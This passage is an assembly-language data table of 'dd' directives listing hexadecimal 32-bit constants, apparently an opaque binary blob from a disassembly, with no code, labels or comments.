dd 0FAAAA586h, 8ECB95BDh, 68ACC9BEh, 0FB6EF7FDh, 0CF7A7E19h
dd 4E0254Fh, 0E35E0E64h, 35015CF7h, 0AAE6AFF3h, 0F0D510FDh
dd 3CB11Ch, 0F573D575h, 47E83E7Ah, 83AEAF11h, 123CD9CEh
dd 0A56BF626h, 17A0E6A2h, 0FFA2B628h, 0AFF68A03h, 3C9BA125h
dd 0CDCA220Ah, 7BAB36B2h, 0DADF8625h, 0B44D18Ch, 0AAE6F51Ch
dd 357A7810h, 0FCBFF674h, 7AC8E618h, 54829FB3h, 9D2CB71Bh
dd 9854D672h, 0D0527B8Eh, 66B72668h, 0C930F0A2h, 65B0121Ch
dd 427533A2h, 265A56A2h, 39813E38h, 0E0D72A21h, 0F2299D23h
dd 1268DAACh, 9DD6C26Fh, 58C29E06h, 0B1523216h, 9AD30744h
dd 0D603F617h, 65B8C419h, 7C50F064h, 0FCDE9972h, 0AFC8E202h
dd 524BBF8Ch, 8D26F040h, 75E926A3h, 8AE19B5Eh, 282D528Bh
dd 87C4FC8h, 0A038F858h, 9E3605AFh, 0A322A142h, 0D09E36A6h
dd 2B85E43Ah, 641D5DE2h, 9C4CA0B1h, 0EAE69BC5h, 5FFA4560h
dd 430DDD7Dh, 1F6678D7h, 7851518h, 0E841CC5Dh, 2101CDAEh
dd 0AB270A83h, 196E1334h, 0A3D8E629h, 0CC590B07h, 0BFE9C54Bh
dd 9935E93Bh, 0F63FF2D7h, 0FA9FD14Dh, 4B648AF3h, 0F0A84022h
dd 5E8E69CCh, 0B897DDA5h, 0D51B4F23h, 707255DFh, 168E61FCh
dd 88A2057Dh, 0CEAAC60Bh, 0B3AC3E71h, 58D4E79Eh, 0AA6951ABh
dd 9F5D69B0h, 0D0EAEB2h, 0D373266Dh, 4592AC5Ch, 0FD65FA7Fh
dd 0A4ABF23Dh, 2A7A2536h, 64DF7CE1h, 6E1DB48Dh, 935F8692h
dd 98E173D7h, 38B0E801h, 7E0FCD2h, 0D539774Dh, 6AF334C9h
dd 8C733270h, 0D86E41F1h, 0A8BAB68Ah, 16CD4A43h, 469DF151h
dd 0F38CFA29h, 84B03004h, 0E5D8BAFCh, 75328ABEh, 0F0FB7824h
dd 6F797908h, 88E831BAh, 33B1DC46h, 0B23038D9h, 5E2FBC6Dh
dd 428CEE04h, 0B6161D5Ah, 0A62117DEh, 48E6DE32h, 31825C1Dh
dd 76640DE1h, 97713575h, 84AB7108h, 7A77BA52h, 36072E23h
dd 0D4B4C58h, 0FAB1B5CFh, 0EFA87DBCh, 0A8264BE6h, 7767111Fh
dd 0F266F584h, 0B95DA8A3h, 819BB3B6h, 0FF47B9E5h, 4074D027h
dd 92CD57ACh, 395C20D5h, 502B2FE4h, 8C90B4EFh, 5B8C0900h
dd 263B60B7h, 0C62B9236h, 4C245EE9h, 0CD14E072h, 0E78E7C24h
dd 0B295800Ah, 0D3E38452h, 1874FE8Ch, 0C3C18217h, 3347185Dh
dd 693303ECh, 6855BD00h, 78D8D94Ch, 5B093C5Ah, 0CA0BE185h
dd 36F8FBF6h, 0E0CD66B9h, 8DE3B527h, 49FD289Dh, 46BA7E49h
dd 0A7DFE6Dh, 6B71085Ah, 88E8E42Dh, 0AFF7ABF1h, 776FD7F4h
dd 62070FEFh, 680AC472h, 53F4F82Dh, 0CFA94A2h, 975EA0D2h
dd 9F04EBADh, 110197A1h, 6DB82D7Ah, 557C2FBBh, 0DA09AEF8h
dd 0A9049E9Fh, 1F08ECEEh, 0FBC1B9F4h, 0D8DD018Eh, 0CAB1EA22h
dd 3A6D18D7h, 262470ADh, 0E712C864h, 0D009E4CBh, 0CC150B49h
dd 4B212EF9h, 0BB71CE32h, 87CD0C13h, 258F6B3Fh, 570ED09Ch
dd 98AD9C23h, 7A12E004h, 0E1067D0Eh, 0F251E8F9h, 0F9795BC2h
dd 0DF239B55h, 0D1E64D33h, 41DE0920h, 351F1DF6h, 60F072F8h
dd 0D7A382FDh, 66CC4FEAh, 875F3150h, 0B846CC1h, 0A213DEC9h
dd 0BCAFA011h, 0E6F3A150h, 0DF66B870h, 0F23635F4h, 9171ECDDh
dd 0D75AC780h, 0C777A190h, 672686C4h, 0CA34022Ah, 0FCD65091h
dd 4E95E7D1h, 0C2FADF7Eh, 939750C3h, 23A9156h, 1C943924h
dd 639DB4Ch, 1583DF04h, 0D4A90E64h, 3F946D14h, 7FED4316h
dd 9CE4A96Eh, 0C0071128h, 0AE4BF6B4h, 0AE3DBE0Eh, 6103F423h
dd 4AC11EC4h, 276DAA30h, 51F5D1EDh, 76A356ABh, 39701497h
dd 2C1FA8A6h, 23AE76AFh, 0F9B0C08Bh, 6E4EFDB3h, 63DF0AEAh
dd 7C67B426h, 0D80B9591h, 556FD029h, 79BE9BBBh, 0EFC16C14h
dd 6B1D7334h, 2D9E3B21h, 488308h, 5FE3E6AAh, 0A055819Dh
dd 8BECB808h, 0B7EEFDB0h, 998BD030h, 593BE941h, 203A78B0h
dd 8ACA8FBDh, 0EB42438h, 0D3C2EBAAh, 7DB4F83h, 0C985928h
dd 0EAE4BB3Ah, 0FF541281h, 3B616F0Ah, 7DADF57Dh, 1A903C3Ah
dd 953231Bh, 0D5EEDC87h, 178D9199h, 0DF6021EEh, 632A9ED5h
dd 0E07E3684h, 63D49F08h, 0E65A2E0Eh, 4FBD6132h, 4DFA3080h
dd 0AD5562D0h, 0CCD0B9Fh, 86055283h, 12D712EAh, 3679163Fh
dd 73875812h, 224230F0h, 0C17CC671h, 66D32977h, 0EBCC156Bh
dd 0EF4C7CACh, 0F7E48F76h, 6900787Eh, 889B11C5h, 752C0888h
dd 4B7804B8h, 0E42E42A4h, 5AD1B84Fh, 622B779Dh, 0D839E68Eh
dd 0CE430B53h, 0C7FAF54Dh, 6D03FC13h, 6FDEFA4Fh, 0CDB3BD7Fh
dd 0EB3A552Dh, 3B4A7A92h, 82DE48AAh, 8A44D96Fh, 31D7F802h
dd 0ED461718h, 25C7AF73h, 71D1ECC1h, 614E2B3Ah, 3C1B80C3h
dd 0BB362FB2h, 0E5DD2DC0h, 0F91200C0h, 6D241A91h, 0E9C879FEh
dd 3589E356h, 16AD381Dh, 5CB7BAD4h, 79ECDD47h, 1E52942Bh
dd 3A2E643Dh, 0DDD4BDEh, 0ED413DDDh, 1648A80Eh, 0FA9455C7h
dd 0EFEAC756h, 6E05EC23h, 0C23E5FBh, 2499E853h, 0B684A9ABh
dd 0F84D0C2Bh, 0E8070342h, 0AB239CBBh, 9DA4FCDDh, 9FEB6DBDh
dd 591BE35h, 0E46AFFA5h, 9D9914DDh, 0D7EE49AFh, 4BD65E2Ah
dd 0E2C0B675h, 0BF820DC4h, 0B7CAB261h, 541D9793h, 0E592CDA0h
dd 206B23D6h, 0E31DEE1Ch, 3606B3F9h, 12F32CD8h, 0A739EE0h
dd 0C36FAE15h, 0ACA1C1ABh, 0E5455A74h, 0F0772231h, 2A3C4C96h
dd 0A04A7320h, 0EE885B49h, 0C36EE71Bh, 42F73AF8h, 0D9778626h
dd 4942F0C9h, 249A21EDh, 5C64E2D3h, 2400DDD2h, 6BF3A3D7h
dd 0F762E49Ah, 29536924h, 0C918A7E7h, 0FC15C4EEh, 42BD4C38h
dd 0BFC7FECCh, 0C259F4E8h, 15DE10Fh, 6695C47Eh, 0F21A3F0Bh
dd 42790B71h, 39D5ADC2h
dd 2A373624h, 1D38D372h, 355B150Ah, 7F6A2420h, 1C1DC13Ah
dd 3206AE92h, 19C47518h, 0B7BDA743h, 4F056766h, 0A32D9089h
dd 0B26DA305h, 437D7BF6h, 0D46445Eh, 0F774F2C6h, 802560AEh
dd 0B466CAE3h, 94357B8Ah, 0BC6BF5Bh, 2EEA9536h, 3B46AE96h
dd 0F5C490ADh, 9A237ADCh, 0E2D1CB2Ch, 3E57BE42h, 0C668ADE0h
dd 68309054h, 0A67FCB3Dh, 5D4EC025h, 0D1B51E8Eh, 9E627A5Dh
dd 2FE9AB36h, 54C27F63h, 6398BFCAh, 42E428Ch, 13A14996h
dd 81F7D6h, 3C459468h, 0BB6E4632h, 4CB23329h, 7FA388E3h
dd 0FE373DDBh, 5F8A9E07h, 9846FE9Ah, 0C240087Eh, 38402C75h
dd 362BEEE0h, 0CBC320Bh, 1E9ED0D4h, 0C7DD212h, 6C6F7C66h
dd 44DA5F05h, 1875A82Ah, 2E82D67Bh, 0ED1713BCh, 62BEB36Ah
dd 0BDFFE77Fh, 0A8146D5Fh, 0A7D8E10Eh, 99025A55h, 4CD96986h
dd 7AB90A0Bh, 4B82E039h, 1C933B41h, 0CE7D29FFh, 753DA19Eh
dd 4416C7F2h, 0C8EE0401h, 0DFACAC8Dh, 66E3A008h, 9F256697h
dd 0D1BAA049h, 0D50BE471h, 721547FEh, 54DDD0E2h, 0D682C6B6h
dd 94FC3EE3h, 0F44DE890h, 3D7F593Bh, 0F3D5E6C9h, 1292F998h
dd 97D82E7Ch, 7D2FBE72h, 0E49E1D83h, 0E2C13722h, 489A3430h
dd 0CAC36417h, 0E72D683Eh, 31C24C67h, 9F8B57EDh, 0CAFA28Bh
dd 94D62D59h, 0F07639CAh, 1DEF4229h, 0D813842Eh, 7644A1Ah
dd 6E77DFBDh, 7D717E76h, 6B9E1146h, 500E8E9Ch, 0F8BE4C8Ah
dd 0EA48924Fh, 80F81302h, 351D8435h, 1B90E244h, 0F09DAC1Bh
dd 0B5BD2E5h, 5B6A8621h, 3E10962Ah, 5107A63Ch, 94E2692Ch
dd 2BA14FABh, 1C994E5Dh, 0D3A9079Dh, 9F55ACAFh, 4D20932Eh
dd 8EF86467h, 0A7F051FEh, 783FF85Ch, 97E35ECAh, 2827A4B1h
dd 0FE8ABFF1h, 0D3918EEEh, 0C69AFCE1h, 0DA7F8097h, 0FC35E572h
dd 0DC86F9F4h, 38936D1Ah, 835D4705h, 2F586D1h, 0FD1674A2h
dd 4A3CB72Ch, 3023C5B5h, 0ECB19F78h, 89416EC7h, 86887EA6h
dd 977D27C1h, 3980F3B0h, 0ED0F4DA7h, 5BA38529h, 6EAB2164h
dd 0E73CE02Ch, 1AE14DC0h, 84F6D2D4h, 0A4F6473Fh, 17F48764h
dd 0CF04AC9Dh, 0F05AC3A5h, 6A860164h, 59F88A44h, 97C76705h
dd 0FCEF1ED4h, 0AEB5E4E8h, 0A9281B18h, 10DF249Ch, 6D49E7A8h
dd 54631171h, 0CA1EC3CBh, 18868763h, 8CAD48A2h, 0AAA54AACh
dd 5844A728h, 0DA0D213Eh, 4D3ADAF7h, 0B31A906Fh, 6A231F98h
dd 0E8ED70D4h, 3A79A265h, 56454706h, 58ED940Eh, 849AB83Ah
dd 8AEDAE5h, 0D0E817C3h, 0A400D065h, 7B416B12h, 0AEEDB4F7h
dd 45ECF9A3h, 21AA8196h, 44A620D3h, 7366D4A2h, 9AFD4F0Eh
dd 0ABCBF3FBh, 3EAC3F86h, 0D5685BD7h, 0FEF76A06h, 26A3ECF1h
dd 0AC8A582Fh, 0DCF030E6h, 0C9C89C44h, 29776680h, 56853DA2h
dd 179EE343h, 70C04150h, 0EAB03C6Ch, 7E86AD7h, 57F21CC7h
dd 0EC6AC564h, 6E330219h, 0E1269762h, 0CE20D035h, 73539A29h
dd 55EDDD99h, 50B09DAFh, 59BDCE31h, 843C015Fh, 46CBB43Ch
dd 315216EBh, 0B6E27464h, 0D6486D04h, 0AECFA87Fh, 59173F9Fh
dd 0A2409C2Bh, 233A110Eh, 0C4FA0E69h, 3DF15D1Ch, 54D5180Bh
dd 52F3801Bh, 0FAF9E951h, 12DEDB1Ch, 0FBC849B8h, 0D4242D86h
dd 547A710Dh, 49D8253Ah, 17D49252h, 2707E708h, 0B2E4C738h
dd 0AC84011Fh, 1D662FB4h, 8492C75Eh, 2DBB6BE6h, 6072BFDDh
dd 0AF79F25Bh, 0CA24964Ch, 73851317h, 58DC647Fh, 0A9791C0h
dd 0E149F0C3h, 0F3717F2Ch, 4981C4CCh, 5D967B49h, 28A1C211h
dd 281E6D37h, 0CB3C8F12h, 0B9A3F52h, 0D1501737h, 18BD117Dh
dd 0A6769670h, 0D60A4E34h, 73325F8Bh, 4EAEFE7Eh, 0EA5A1910h
dd 10B3DCA6h, 32980E6Bh, 329DBA2h, 78A5639Eh, 0DB51464Fh
dd 0B3184896h, 7CCE0FE1h, 3330369Eh, 0FFA61F7Dh, 7F711867h
dd 5B23DD7Bh, 0C9721C98h, 2A2884EEh, 718F4826h, 0A3F6C215h
dd 8CE21266h, 39CC4E81h, 84EB8445h, 3C5E1D42h, 0D08A60E9h
dd 35FB4383h, 8B977CBBh, 0CD243263h, 29ADF477h, 0D4516154h
dd 627317BEh, 0A3D4BE7Fh, 20FE7AC5h, 99B70F02h, 7FBCF2D5h
dd 0C04A7397h, 2633EBBEh, 0B48F0896h, 0EC780127h, 0A5A5970Fh
dd 9601394Dh, 0D97463EDh, 8F76F0C4h, 0E646BB08h, 0E283C269h
dd 0DFFECEF0h, 0ECF8E382h, 0F5A8C943h, 0C8A1450h, 387F64F3h
dd 0E0C26FAFh, 0AC8315DBh, 3B162A5Bh, 5EC54631h, 0D17B8836h
dd 98DDE340h, 1F6D9100h, 44C280A4h, 42E2ADFEh, 0F8265F4Dh
dd 3DD78214h, 139B11C4h, 6EBAE1F1h, 9A48F5A6h, 132F7159h
dd 71C0424Dh, 91358166h, 741E0925h, 97040BE6h, 0C8694C4h
dd 8AAEBB12h, 3EF09DE4h, 8C2EE984h, 0A6EC199Bh, 6D11EB0Ah
dd 0DAC80C21h, 265E2F77h, 0C135E28h, 82BE7F49h, 48333D9h
dd 5FEFDEDh, 0FC485608h, 4ADDFB02h, 0C974B553h, 51B24ABAh
dd 7DEE91ABh, 8EE5BD71h, 0A05874DDh, 7D8E03A2h, 0F142A366h
dd 0C152BB5Fh, 800F14D1h, 657C7810h, 0CB3120CDh, 7D595CA2h
dd 0DE267A13h, 80110DA0h, 14CEB284h, 0A5FF2290h, 0E04669ECh
dd 3C522D26h, 17269CAAh, 0D546D5ACh, 79E430E4h, 200CDEDEh
dd 0E89A6434h, 0F511E32Ch, 8FDFB0ADh, 767208DFh, 85155358h
dd 0A7439DEh, 0A6035C08h, 67AC1224h, 52D3D736h, 38020CF9h
dd 0B9CDB6C4h, 42BF6FE5h, 296AFC11h, 7434672Dh, 64B91EDEh
dd 94B2BD55h, 2652BBA8h, 4F7F8521h, 0A64B099Ch, 94133735h
dd 26E4EDD5h, 1701541Bh, 0C2CB1D85h, 0B482A29Bh, 0BF1991EEh
dd 0D9DBEA81h, 0BD7EAD1Ch, 8FAFE018h, 0ECB53CC0h, 0D2F6A37Fh
dd 0A6ECE1E8h, 7E2FD241h, 32B4E4C9h, 308C275Bh, 0F83F95FDh
dd 0CE531DA7h, 0E3C6B63h, 19E56240h, 45FDA7F2h, 586234F8h
dd 363C8457h, 0E719B668h, 30FDC893h, 0E16E1423h, 276D54F6h
dd 0EAA51A06h, 129CCB15h, 0DAFD6BA0h, 0ECEF759Bh, 0A437A472h
dd 0A5BCC5CCh, 0FE4B4966h, 54AF818Fh, 171DB85Dh, 8343185Fh
dd 0E9448B07h, 0A23499A7h, 80739409h, 51F17FA6h, 0F5A9E041h
dd 7A3B25D6h, 92A24736h, 27F71920h, 0D2D58EB4h, 9BBC5F40h
dd 66B049BAh, 0F8A252F2h, 57E713C3h, 0BD68F30Ah, 0DBD8AEB3h
dd 0E88DF482h, 0D6F72C2Ah, 1B88A5A2h, 0C8D3092Ch, 31FC38D7h
dd 98AFE854h, 0B9F861D4h, 4F187109h, 5BEC8E9Ch, 6B7B0937h
dd 0CBFF92DBh, 0B8787C16h, 0B7A4BEA4h, 84597AF8h, 0AA02F1EFh
dd 0BC6CEF69h, 0E3517D55h, 66B4D1C3h, 72046660h, 76444B7Eh
dd 12E512C9h, 0B2D46912h, 9563F9FEh, 0CF54006Eh, 0C66A8BA0h
dd 0FC582888h, 0A481FCF9h, 0D2D9B9DDh, 257ED57Eh, 779425AEh
dd 2D4BEB0Dh, 71388121h, 360A8AA9h, 17515ACCh, 0C2B522F9h
dd 956A3F9Ah, 10AF8800h, 9ACBE26Ah, 44CE845Fh, 7CE411CAh
dd 128320ABh, 0DF8287A1h, 36B4EF0Dh, 6142D454h, 40A98197h
dd 0AED347BFh, 0CFA34C12h, 2C70FB11h, 710EA848h, 0AABF6839h
dd 2D5018C0h, 0E91F0934h, 74AE1B64h, 97F07FD1h, 4A78CA87h
dd 8AF8254h, 6F3EC3D1h, 1CB54282h, 0F78E7BC4h, 113A5241h
dd 6454FEA0h, 0A6326B71h, 0C0B0458Dh, 423A77AEh, 0A04DE3B7h
dd 0DE9A1F2h, 0A1113683h, 4595DABEh, 3F60DFC9h, 974EC5EEh
dd 51B0913Ah, 0FD55BE32h, 62CE5FFh, 0FE0C0267h, 0B44989B1h
dd 85FAC79Dh, 0A5C98CAh, 4435EBE3h, 0C5B5013Eh, 833982D5h
dd 7BD68E53h, 0BBD7EF54h, 0C41B46B5h, 0C9163BEBh, 0F60EF84Ch
dd 0CAF1CE36h, 0B2D28D24h, 334C1AE9h, 0F33BCD5Ah, 1DD65FE1h
dd 24F8C08Bh, 8F23A5CFh
dd 0FEB0C2CAh, 0D0A5F463h, 0BC050B94h, 5C2E6193h, 8607FDEEh
dd 8E442A3Fh, 0DC92E745h, 328FF1ACh, 0B876A20Ch, 0B0ADE69Dh
dd 0A07B1FC6h, 4B24D6CCh, 0F1EB6AE3h, 7EE7DA7Eh, 0A4C747F9h
dd 22035A49h, 3077DD22h, 657BB0AAh, 0D3D5FDD7h, 0D22C7AE4h
dd 0CDD96BA6h, 0C55CF921h, 0FFE93DEDh, 0D33919E1h, 17B34359h
dd 2E8F6D1Eh, 1E57EAF3h, 0C3374C44h, 6CBC1CB3h, 0FEDFBE5Ah
dd 17F1FCCEh, 32EF905h, 467E6976h, 0AB094588h, 83329E52h
dd 81E4CB49h, 6136C40Fh, 0EFD379D2h, 0B3F67513h, 6769A0CCh
dd 0E02D2649h, 0A757FE29h, 0A4B22B1Fh, 41F66939h, 2EE935FFh
dd 80693666h, 9D7873B7h, 0E376077Ah, 0DAFD813Dh, 0C8625DB4h
dd 918FAF67h, 42228465h, 0D06876A0h, 2576FB3Dh, 0AAC289B3h
dd 6D333B26h, 5C50B89h, 0B95E1EA4h, 0DB7A5524h, 6A71649h
dd 0CF67BCF3h, 63B6E914h, 22F410Ch, 8D90C055h, 0EA487BC7h
dd 24FFC03Ah, 6526CD9Eh, 0A2CC5918h, 7E3C5B36h, 88A7DD7Bh
dd 38C06AE9h, 64D62328h, 5AC5509Eh, 0FD9262E8h, 9601B996h
dd 0C6FD479Ah, 0F739B7E9h, 5E81B777h, 90391287h, 0AA324456h
dd 0FF76A784h, 7567FDF1h, 4E1D0B6Fh, 19E845BBh, 0ACAEB60h
dd 0CD8CC80Ah, 455E2832h, 6823C787h, 93E96107h, 4D47EF06h
dd 0BC8B8DA0h, 72392800h, 7BDE0BD2h, 0C9904F19h, 144E7F94h
dd 0FC12A63h, 43628EE4h, 76A60270h, 4676BA46h, 9FF319F2h
dd 58049204h, 2F93208Ah, 0FE56CBA7h, 9C3F9553h, 0A204D26Bh
dd 3E528356h, 1DCD6DDDh, 0CC9B6B6Eh, 4CAA9EF5h, 0BF54A097h
dd 5FACE2E8h, 758E35DBh, 0A1998BCCh, 0E9F4D098h, 60917348h
dd 4361036Dh, 4511167Ch, 7EA758C6h, 7C01CFC6h, 28EAEC4h
dd 6662E4EFh, 3594B0E5h, 0B645ABD4h, 44EACCDDh, 0A3C49F6Bh
dd 82E3AD76h, 0C2BA721Dh, 0D0910B88h, 8CCF0CC3h, 0AA2BEBF3h
dd 63C9A19Dh, 0AB933C57h, 0DF37B0Ah, 79B36D6Fh, 54B2F477h
dd 0D0E445AFh, 1A72C8EFh, 0ED3EF612h, 6F118B88h, 0E95CC5B4h
dd 1B34FAB1h, 5A6F81CBh, 0B700A8C2h, 0BF2569FFh, 66AC7258h
dd 0E86B7576h, 71B68D1Eh, 78127819h, 0D37A1D68h, 3CE58C90h
dd 0DEF1803Bh, 124CD1D1h, 6E45A4B4h, 6742168h, 3CAC037Dh
dd 68F2BA62h, 77090EDAh, 0DF96C2C3h, 7265234Bh, 2BD9D7C8h
dd 33525087h, 7E64D4ACh, 0B135316h, 97B7532Fh, 5C57B7E8h
dd 4B91AAC4h, 405DB59Ch, 0EA871932h, 1889C13Dh, 0BD8230F5h
dd 5C16910Fh, 22AC7B88h, 2FF91AE2h, 0A6381310h, 0E777B6CDh
dd 73E052EEh, 0DB4BCE96h, 8E59D114h, 10BA8227h, 0D828BBA3h
dd 22BAE20Dh, 0DD4B2C77h, 48DC8616h, 40867120h, 0AC0A3CB9h
dd 9A0476E7h, 0D30C077Ch, 0A7E790A4h, 31641105h, 8AF0500Fh
dd 91BA2B3Fh, 0BADFC01Bh, 0F48DDC4Eh, 314C9A6Ch, 0C08AF171h
dd 0D235BCDBh, 0B538673Ch, 0A40E85C4h, 2C72B240h, 2BE0224Fh
dd 0B1AEC948h, 0A70CF24Dh, 71BE8D86h, 6C3DEF14h, 0D1E40DDh
dd 677C90C4h, 0DE188C6Bh, 4693102Ah, 0DFF785BCh, 8E80730Ch
dd 2D002ED1h, 0C071F872h, 78A6AD5Eh, 1062DE1Fh, 5F2F39E0h
dd 0E2AD9024h, 9E3487A5h, 85C89D0Dh, 0F022C28Dh, 0AD43343Ah
dd 2607D6A1h, 0ED83AA75h, 7CC6C791h, 6CC61C0Ah, 0A46B3B7Dh
dd 6C605AB8h, 5D405FB2h, 173C72CAh, 0D9EF96E5h, 610A2CCCh
dd 0C0FE278h, 0E7FEACh, 5D5B748Bh, 77E10A64h, 6EBE05C4h
dd 91AD1DAFh, 0EAD6DEB8h, 0D2AEF582h, 0C3DF6B4Eh, 0E0A664EAh
dd 55AC410Fh, 60F3C7Ch, 0CD1BD205h, 1F326D1Ch, 13F55CB3h
dd 0A45046D8h, 97408BDFh, 9305502Fh, 39C5CAE8h, 55729563h
dd 0CC1D5A6Fh, 2D7642Ch, 44211181h, 0EEB04A86h, 7D085C4Bh
dd 0EB89DC62h, 0B510A77Eh, 0A25157DCh, 68F49F0Ah, 0E98DD62Ah
dd 92B772Dh, 17104B41h, 786B7EAh, 0B8ADA9F1h, 2D7059E7h
dd 53BD69Ah, 7DF6E38Dh, 5C998518h, 0FA1F96C2h, 0D7972145h
dd 94B07304h, 37B3BD1Dh, 47978DAEh, 0EB1EA69Eh, 6FC3552h
dd 83AC184Fh, 2032CF5Eh, 7A749A02h, 0F25A6BCDh, 3FAE5E9Dh
dd 0FA01991Dh, 0DF75DAFEh, 2A5A1365h, 0E27C57B2h, 5F111146h
dd 13F7051Eh, 8E77942h, 0A9B15DF8h, 0A4714E25h, 0BD69A47Fh
dd 0DDF37D45h, 0D16C41FCh, 4EC06BAFh, 6E79D081h, 2462AF07h
dd 2A7548C9h, 33428527h, 4A9B8358h, 0A4D1F770h, 6B47CB11h
dd 0BCDD9054h, 66D9B1BCh, 0EF942126h, 5E0AF3CBh, 8C9A959Dh
dd 0A17208CAh, 0AF329385h, 78469C3h, 0E39384DCh, 0C6189D1h
dd 0F0859BC0h, 8EF5066Ch, 6DF6E240h, 0ECDDFB51h, 0F674BB2Eh
dd 8A5988F2h, 7EED4675h, 27B3FDFFh, 0A1A2D1DCh, 657B0E77h
dd 9430DFC7h, 826BD327h, 74C4B7FFh, 0CE4AABCAh, 105C3A07h
dd 0C203FF14h, 0D79B9084h, 855F3B2Fh, 10B658D9h, 82CD2762h
dd 0A32D678Ah, 0AECC1EF5h, 5EF8E371h, 314783FEh, 7BE27678h
dd 3C4FDA68h, 0BC7B8BE0h, 0CA555E5Eh, 0C739919Dh, 49CBF856h
dd 97F38F00h, 7FCAA63Dh, 2F4002DCh, 0BD000FEh, 912C4C8Dh
dd 8598F016h, 69981CA2h, 0A6F1EA11h, 32E305EFh, 7475A8B1h
dd 0ED9BE0F3h, 8F49899h, 0CAF98616h, 1C6D937Bh, 92BE6DB4h
dd 0ADF8961Ch, 0F1887460h, 5F750E9Dh, 0AD0F7C42h, 0C7E52D60h
dd 0ACC4C018h, 7F115A25h, 202E33EEh, 3A3CCFA5h, 5C7D463h
dd 7A0906AFh, 0B5AF3019h, 880745E8h, 0F61E4E98h, 0F31AD078h
dd 0A1847CFh, 9C68FEE7h, 567D019Ah, 0B32236CFh, 0E23465E7h
dd 0F7AFBE2h, 34E69288h, 86B66E48h, 8292F02h, 0A672D365h
dd 340A4B2Bh, 76ACEC10h, 2C0631A5h, 326D93Bh, 34867D37h
dd 85225EEEh, 6EDCA319h, 0F1A01B19h, 0B68D4C38h, 0D53A5016h
dd 38D71EADh, 41528458h, 7348F881h, 0EB52C749h, 12C3CA47h
dd 65713B66h, 9B30C004h, 0C0034F41h, 1CA7D491h, 4E2BF4FCh
dd 99F41FFDh, 38CBEDC4h, 754844D8h, 802F2648h, 5956EEA9h
dd 617FCF82h, 0E6E7D240h, 5A192EF6h, 0E99B3304h, 0C782143Bh
dd 20E7BCA5h, 740191C0h, 28BF94E2h, 0CA79CB34h, 504640F8h
dd 86F4D228h, 0E2EB3A67h, 0AE02213Ah, 925C1804h, 11962E22h
dd 48E827EDh, 0DDCF909Ch, 26F505AEh, 0F376A5E0h, 8C6E40A0h
dd 0AB74C287h, 95F06CD1h, 0AF6DD183h, 0C6401971h, 0A582800h
dd 6F7C4ADh, 4F1B2FA7h, 916F458Ch, 53C6FE7Dh, 8C7AD03Fh
dd 0F493EFB9h, 6135846Fh, 0D69FA1F6h, 0EF54534Dh, 0F4092441h
dd 2821249Dh, 0FED4D95Bh, 0F1E5AF27h, 9C6F5ACAh, 0C965A166h
dd 6E2FE2E8h, 0A5706166h, 9BCF81DCh, 75334E65h, 0CE1AA97h
dd 56565D43h, 4B8F957Ah, 0DB5E6847h, 924AD6E0h, 20785C4Dh
dd 0C7846553h, 69EE5015h, 5DF23C50h, 9B665418h, 9F4956FFh
dd 8F44B93Fh, 3BC63B30h, 8C7EC88Dh, 429142D5h, 35B9E396h
dd 0FC4C312Ch, 7CD675ECh, 0DE890431h, 0E3A4E349h, 705E4D06h
dd 0F9EF5DD2h, 0AF4860D5h, 51840468h, 262832Bh, 0B4A5B85h
dd 0D99BD978h, 38058305h, 640E285Bh, 0D5F4480Eh, 5F3304CCh
dd 0F395983h, 0F7B3D43Fh, 0CCF80E23h, 7B8C75A1h, 82CEC668h
dd 0E2B22526h, 45D56024h, 0D4016EC7h, 0CE3A006Bh, 68236Eh
dd 93B22AE5h, 0BE4D62A6h, 0E3705179h, 5DAE44F3h, 8A94AA77h
dd 151B7EA7h, 9FB86899h, 2410183Dh, 4D8529Ch, 31D60B79h
dd 6A7EC5ABh, 0C11BA271h, 591E8E70h, 2B6F9447h, 19CDA799h
dd 9572D90h, 5807D873h, 36F4AA62h, 0C13262F1h, 6E230E06h
dd 0F59F272Dh, 0C25688E7h
dd 0B030A264h, 501500DAh, 0AEF113C4h, 62BE04Fh, 2A3FD42Ch
dd 0F5EA21F3h, 2A72F3C6h, 0B15EE179h, 7FCF1FC2h, 0AA3A9404h
dd 0CF5D4C5Ah, 6CCDC559h, 0ADBD0455h, 0FF2ADFBFh, 0EA6B0AC8h
dd 8CB64769h, 8CE11AD5h, 66BFA793h, 8682F04Ah, 0C5C49039h
dd 23A2211Eh, 0EFF9B46Dh, 2F0894A6h, 45FD01B3h, 3780BDC2h
dd 0CBD6417Ah, 0FA34BEB9h, 9B29E227h, 0C3EA9552h, 9949D3C8h
dd 0F5A48C81h, 0A51A84E3h, 3901F802h, 526C20B5h, 85EB61ECh
dd 0A3B51888h, 0E0FC8B53h, 8B23426h, 0C40E12A5h, 0C9D798BEh
dd 28C0EF50h, 0FB3BD243h, 79A9BC8Ch, 871A4F18h, 5BF0ABF3h
dd 3C3F6832h, 2F088179h, 7DB74538h, 0FC9F7462h, 0ACB2E89Ch
dd 99073FBCh, 0CE2971CBh, 57B412B3h, 0CDFF8BE2h, 0BA6D0A73h
dd 0DD03FE2Bh, 0EF62B577h, 8F236A07h, 0A27A1A55h, 2567769Eh
dd 589E026Eh, 7C27D9F0h, 20019666h, 5E5E9FD2h, 385E5846h
dd 2EE05FD7h, 0DD4E258h, 35889D4Dh, 0C38D345Ch, 56D8BCBFh
dd 962698C2h, 980B578h, 93555B68h, 23580A7Ah, 0ADAA20ABh
dd 7A954420h, 0ED3B5C69h, 10487EBh, 664EDF16h, 0E0D24D64h
dd 0E30FC918h, 0B96B80D5h, 38218215h, 7B0F71CAh, 0B8B1DC89h
dd 8DC599EBh, 9E377879h, 1311D7DBh, 69F79E1Fh, 4EF90449h
dd 45E5CFE7h, 0BF3FD937h, 99CE3C36h, 0FCD48424h, 5DFD6A42h
dd 3836BA4Dh, 6D597FF8h, 1A2DF08Eh, 0FE100E0Fh, 0A6F61D94h
dd 1527F3B2h, 4BB5511Dh, 81DABD7Dh, 67F2C461h, 0E85B35DAh
dd 67C7661Eh, 219372F5h, 455BA188h, 0D7FEF7A2h, 8510F1B5h
dd 0B3F983BFh, 356115E1h, 39A97D21h, 111F3EA0h, 647BD1Eh
dd 85E2C3DAh, 57B1AB3Ah, 103E8CF0h, 0F3B1DAE2h, 8C9AC652h
dd 5843C6DEh, 468A3482h, 83841ED9h, 9DB861C1h, 1679965Fh
dd 0E21B2962h, 0AE13A378h, 97EDD1C0h, 0CE083961h, 0A36C4960h
dd 6249C6AAh, 0D16FC596h, 3E8EE996h, 24AC229Eh, 6C9FC635h
dd 0F4B69C85h, 5816491Ch, 0E46C5F19h, 5B7BDD82h, 0A14FE6A8h
